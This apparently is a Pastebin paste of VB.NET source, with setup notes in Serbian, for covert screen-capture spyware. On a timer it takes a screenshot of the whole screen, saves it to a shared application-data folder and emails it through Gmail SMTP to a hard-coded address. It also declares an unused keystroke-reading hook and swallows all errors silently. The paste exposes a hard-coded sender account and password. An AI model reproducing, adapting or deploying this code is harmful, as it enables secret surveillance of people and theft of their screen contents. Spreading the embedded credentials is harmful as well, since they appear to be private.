Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Potrebno:
- 1 label,2 timera(prvi timer podesiti interval na 1 a drugi na 60.000(1 minut) ili 5000(5 sekundi)kako je i ovde i enabled na true),1 picturebox
- Imports System.Net.Mail, System.Net, System.IO, System.Diagnostics.Process, System.Management
- Public Class Form1
- Dim result As Integer
- Dim strin As String = Nothing
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
- Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
- Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
- Try
- For Each foundFile As String In My.Computer.FileSystem.GetFiles(
- My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData,
- Microsoft.VisualBasic.FileIO.SearchOption.SearchTopLevelOnly, "*.bmp")
- System.IO.File.Delete(foundFile)
- Next
- Catch
- End Try
- End Sub
- Private Sub sendmail2()
- Try
- PictureBox1.Image = Nothing
- Label1.Text = Val(Label1.Text) + 1
- Dim bounds As Rectangle
- Dim screenshot As System.Drawing.Bitmap
- Dim graph As Graphics
- bounds = Screen.PrimaryScreen.Bounds
- screenshot = New Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
- graph = Graphics.FromImage(screenshot)
- graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
- PictureBox1.Image = screenshot
- PictureBox1.Image.Save(System.IO.Path.Combine(My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData, "screenshot" & Label1.Text & ".jpeg"))
- PictureBox1.Image = Nothing
- Dim startupPath As String = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile)
- Dim Mail As New MailMessage
- Dim attach As New Attachment(System.IO.Path.Combine(My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData, "screenshot" & Label1.Text & ".jpeg"))
- Mail.Attachments.Add(attach)
- Mail.Subject = "Slika ekrana by Marko Mirkov"
- Mail.To.Add("mmirkov2706@gmail.com")
- Mail.From = New MailAddress("testemail27062001@gmail.com")
- Mail.Body = DateAndTime.Now
- Dim SMTP As New SmtpClient("smtp.gmail.com")
- SMTP.EnableSsl = True
- SMTP.Credentials = New System.Net.NetworkCredential("testemail27062001@gmail.com", "marko12345")
- SMTP.Port = "587"
- SMTP.Send(Mail)
- Application.Exit()
- Catch
- End Try
- End Sub
- Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
- sendmail2()
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement